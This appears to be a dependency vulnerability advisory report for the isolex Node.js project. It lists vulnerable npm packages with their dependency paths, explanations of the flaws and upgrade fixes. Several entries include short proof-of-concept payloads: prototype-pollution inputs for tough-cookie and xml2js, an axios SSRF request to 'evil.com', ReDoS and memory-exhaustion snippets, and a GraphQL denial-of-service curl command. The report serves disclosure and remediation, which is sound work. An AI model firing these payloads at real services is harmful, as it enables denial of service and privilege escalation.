- Introduced through: jsonwebtoken@8.5.1, @octokit/app@4.3.0 and others
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/app@4.3.0 › jsonwebtoken@8.5.1Remediation: Upgrade to @octokit/app@10.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey
argument due to misconfigurations of the key retrieval function jwt.verify()
. Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify()
implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: request@2.88.2 and @kubernetes/client-node@0.16.3
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › request@2.88.2
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: request@2.88.2, request-promise@4.2.6 and others
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › request@2.88.2 › tough-cookie@2.5.0
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › request-promise@4.2.6 › tough-cookie@2.5.0
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › request-promise-native@1.0.9 › tough-cookie@2.5.0
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1, @octokit/app@4.3.0 and others
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @octokit/app@4.3.0 › jsonwebtoken@8.5.1Remediation: Upgrade to @octokit/app@10.0.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › passport-jwt@4.0.0 › jsonwebtoken@8.5.1Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify()
function can lead to signature validation bypass due to defaulting to the none
algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify()
function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null
,false
,undefined
) secret or key is passed.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › cookie@0.5.0Remediation: Upgrade to express@4.21.1.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name
, path
, or domain
, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie
to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @slack/client@5.0.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/web-api@5.15.0 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/webhook@5.0.4 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/rtm-api@5.0.5 › @slack/web-api@5.15.0 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls
attribute being ignored in the call to the buildFullPath
function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios
to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @slack/client@5.0.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/web-api@5.15.0 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/webhook@5.0.4 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/rtm-api@5.0.5 › @slack/web-api@5.15.0 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls
to false
by default when processing a requested URL in buildFullPath()
. It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios
to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: shelljs@0.8.5, typeorm@0.2.45 and others
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › shelljs@0.8.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › typeorm@0.2.45 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @kubernetes/client-node@0.16.3 › shelljs@0.8.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › node-gyp@8.4.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › node-gyp@8.4.1 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › bunyan@1.8.15 › mv@2.1.1 › rimraf@2.4.5 › glob@6.0.4 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › node-gyp@8.4.1 › make-fetch-happen@9.1.0 › cacache@15.3.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › node-gyp@8.4.1 › make-fetch-happen@9.1.0 › cacache@15.3.0 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › sqlite3@5.0.8 › node-gyp@8.4.1 › make-fetch-happen@9.1.0 › cacache@15.3.0 › @npmcli/move-file@1.1.2 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1Remediation: Upgrade to express@4.19.2.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl
before passing it to the location
header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.
Remediation
Upgrade express
to version 4.19.2, 5.0.0-beta.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @slack/client@5.0.2
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/web-api@5.15.0 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/webhook@5.0.4 › axios@0.21.4
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › @slack/client@5.0.2 › @slack/rtm-api@5.0.5 › @slack/web-api@5.15.0 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2)
. This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios
to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: graphql
- Introduced through: graphql@16.5.0
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › graphql@16.5.0Remediation: Upgrade to graphql@16.8.1.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts
file when parsing large queries. This vulnerability allows an attacker to degrade system performance.
Note: It was not proven that this vulnerability can crash the process.
PoC
pnpm install && pnpm start
Run
curl \
--data "{\"query\":\"{ $(python3 -c "print('%s' % ('__typename ' * 1000))")}\"}" \
--header 'Content-Type: application/json' \
--include \
--request POST \
https://example.com/graphql
This will take ~2.5s and increase to ~21s if you change the number of __typename to 3000
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade graphql
to version 16.8.1 or higher.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: aws-sdk@2.1111.0 and typeorm@0.2.45
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › aws-sdk@2.1111.0 › xml2js@0.4.19Remediation: Upgrade to aws-sdk@2.1354.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › typeorm@0.2.45 › xml2js@0.4.23Remediation: Upgrade to typeorm@0.3.14.
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__
property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: express
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1Remediation: Upgrade to express@4.20.0.
Overview
express is a minimalist web framework.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the response.redirect
method. An attacker can execute arbitrary code by passing malicious input to this method.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Remediation
Upgrade express
to version 4.20.0, 5.0.0 or higher.
References
low severity
- Vulnerable module: send
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › send@0.18.0Remediation: Upgrade to express@4.20.0.
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › serve-static@1.15.0 › send@0.18.0Remediation: Upgrade to express@4.21.0.
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect()
function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()
Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send
to version 0.19.0, 1.1.0 or higher.
References
low severity
- Vulnerable module: serve-static
- Introduced through: express@4.18.1
Detailed paths
-
Introduced through: isolex@ssube/isolex#ba5c79c0578ac35a7faab9ee745631d51382162b › express@4.18.1 › serve-static@1.15.0Remediation: Upgrade to express@4.20.0.
Overview
serve-static is a server.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect
function. An attacker can manipulate the redirection process by injecting malicious code into the input.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()
